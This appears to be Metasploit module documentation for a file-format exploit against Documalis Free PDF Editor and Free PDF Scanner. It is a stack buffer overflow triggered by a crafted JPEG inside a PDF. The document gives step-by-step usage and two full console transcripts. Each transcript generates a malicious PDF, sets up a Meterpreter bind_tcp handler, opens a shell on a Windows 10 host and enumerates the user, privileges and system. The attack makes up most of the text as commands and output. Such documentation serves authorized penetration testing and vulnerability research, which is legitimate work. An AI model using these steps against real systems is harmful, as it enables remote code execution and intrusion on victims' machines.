## Vulnerable Application

  Documalis Free PDF Editor version 5.7.2.26 and Documalis Free PDF Scanner version 5.7.2.122 do not appropriately
  validate the contents of JPEG images contained within a PDF. Attackers can exploit this vulnerability to trigger
  a buffer overflow on the stack and gain remote code execution as the user running the Documalis Free PDF
  Editor or Documalis Free PDF Scanner software.

## Verification Steps

   1. Install application on the target machine
   2. Start msfconsole
   3. Do: `use exploit/windows/fileformat/documalis_pdf_editor_and_scanner`
   4. Do: `set TARGET 0` for Documalis Free PDF Editor or `set TARGET 1` for Documalis Free PDF Scanner
   5. Do: `set payload windows/meterpreter/bind_tcp`
   6. Do: `set RHOST [Target IP]`
   7. Do: `set LPORT [Port to make the target host listen on]`
   9. Do: `run`
   10. Do: `use exploit/multi/handler`
   11. Do: `set payload windows/meterpreter/bind_tcp`
   12. Do: `set RHOST [Target IP]`
   13. Do: `set LPORT [Same port as before, this will be the port the target is listening on]`
   13. Do: `run`
   14. Copy the generated file to the target machine
   15. For Documalis Free PDF Editor, drag and drop the PDF to open it. For Documalis Free PDF Scanner, select the Add
       button on the right side of the screen and then select the malicious PDF file from the file prompt.
   16. You should get a shell as the user running either Documalis Free PDF Scanner or Documalis Free PDF
       Editor (depending on which software was exploited).

## Options
  **FILENAME**
  Name of the PDF file that Metasploit will generate. This will default to "msf.pdf", but can be changed.

## Scenarios

### Documalis Free PDF Editor v5.7.2.26 on Windows 10 x64 v2004
```
msf5 > use exploit/windows/fileformat/documalis_pdf_editor_and_scanner
msf5 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > set TARGET 0
TARGET => 0
msf5 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf5 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > set RHOST 172.26.215.55
RHOST => 172.26.215.55
msf5 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > set LPORT 6655
LPORT => 6655
msf5 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > show options

Module options (exploit/windows/fileformat/documalis_pdf_editor_and_scanner):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   FILENAME          msf.pdf          no        The file name.
   PDF::Encoder      ASCIIHEX         yes       Select encoder for JavaScript Stream, valid values are ASCII85, FLATE, and ASCIIHEX
   PDF::Method       DOCUMENT         yes       Select PAGE, DOCUMENT, or ANNOTATION
   PDF::MultiFilter  1                yes       Stack multiple encodings n times
   PDF::Obfuscate    true             yes       Whether or not we should obfuscate the output


Payload options (windows/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT     6655             yes       The listen port
   RHOST     172.26.215.55    no        The target address

   **DisablePayloadHandler: True   (no handler will be created!)**


Exploit target:

   Id  Name
   --  ----
   0   Documalis Free PDF Editor v.5.7.2.26 / Win 7, Win 10

msf5 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > exploit

[+] msf.pdf stored at /home/gwillcox/.msf4/local/msf.pdf
[*] Started bind TCP handler against 172.26.215.55:6655
msf5 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > use multi/handler
msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set LPORT 6655
LPORT => 6655
msf5 exploit(multi/handler) > set RHOST 172.26.215.55
RHOST => 172.26.215.55
msf5 exploit(multi/handler) > exploit

[*] Started bind TCP handler against 172.26.215.55:6655
[*] Sending stage (176195 bytes) to 172.26.215.55
[*] Meterpreter session 1 opened (0.0.0.0:0 -> 172.26.215.55:6655) at 2020-07-31 17:05:06 -0500

meterpreter > getuid
Server username: DESKTOP-KUO5CML\test
meterpreter > getprivs

Enabled Process Privileges
==========================

Name
----
SeChangeNotifyPrivilege
SeIncreaseWorkingSetPrivilege
SeShutdownPrivilege
SeTimeZonePrivilege
SeUndockPrivilege

meterpreter > sysinfo
Computer        : DESKTOP-KUO5CML
OS              : Windows 10 (10.0 Build 19041).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter >
```

### Documalis Free PDF Scanner v5.7.2.122 on Windows 10 x64 v2004
```
msf5 > use exploit/windows/fileformat/documalis_pdf_editor_and_scanner
msf5 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > set TARGET 1
TARGET => 1
msf5 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf5 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > set RHOST 172.26.215.55
RHOST => 172.26.215.55
msf5 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > set LPORT 7788
LPORT => 7788
msf5 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > show options

Module options (exploit/windows/fileformat/documalis_pdf_editor_and_scanner):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   FILENAME          msf.pdf          no        The file name.
   PDF::Encoder      ASCIIHEX         yes       Select encoder for JavaScript Stream, valid values are ASCII85, FLATE, and ASCIIHEX
   PDF::Method       DOCUMENT         yes       Select PAGE, DOCUMENT, or ANNOTATION
   PDF::MultiFilter  1                yes       Stack multiple encodings n times
   PDF::Obfuscate    true             yes       Whether or not we should obfuscate the output


Payload options (windows/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT     7788             yes       The listen port
   RHOST     172.26.215.55    no        The target address

   **DisablePayloadHandler: True   (no handler will be created!)**


Exploit target:

   Id  Name
   --  ----
   1   Documalis Free PDF Scanner v.5.7.2.122 / Win 7, Win 10


msf5 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > exploit

[+] msf.pdf stored at /home/gwillcox/.msf4/local/msf.pdf
[*] Started bind TCP handler against 172.26.215.55:7788
msf5 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > use multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set RHOST 172.26.215.55
RHOST => 172.26.215.55
msf5 exploit(multi/handler) > set LPORT 7788
LPORT => 7788
msf5 exploit(multi/handler) > exploit

[*] Started bind TCP handler against 172.26.215.55:7788
[*] Sending stage (176195 bytes) to 172.26.215.55
[*] Meterpreter session 1 opened (0.0.0.0:0 -> 172.26.215.55:7788) at 2020-07-31 17:31:35 -0500

meterpreter > getuid
Server username: DESKTOP-KUO5CML\test
meterpreter > getprivs

Enabled Process Privileges
==========================

Name
----
SeChangeNotifyPrivilege
SeIncreaseWorkingSetPrivilege
SeShutdownPrivilege
SeTimeZonePrivilege
SeUndockPrivilege

meterpreter > sysinfo
Computer        : DESKTOP-KUO5CML
OS              : Windows 10 (10.0 Build 19041).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter >
```
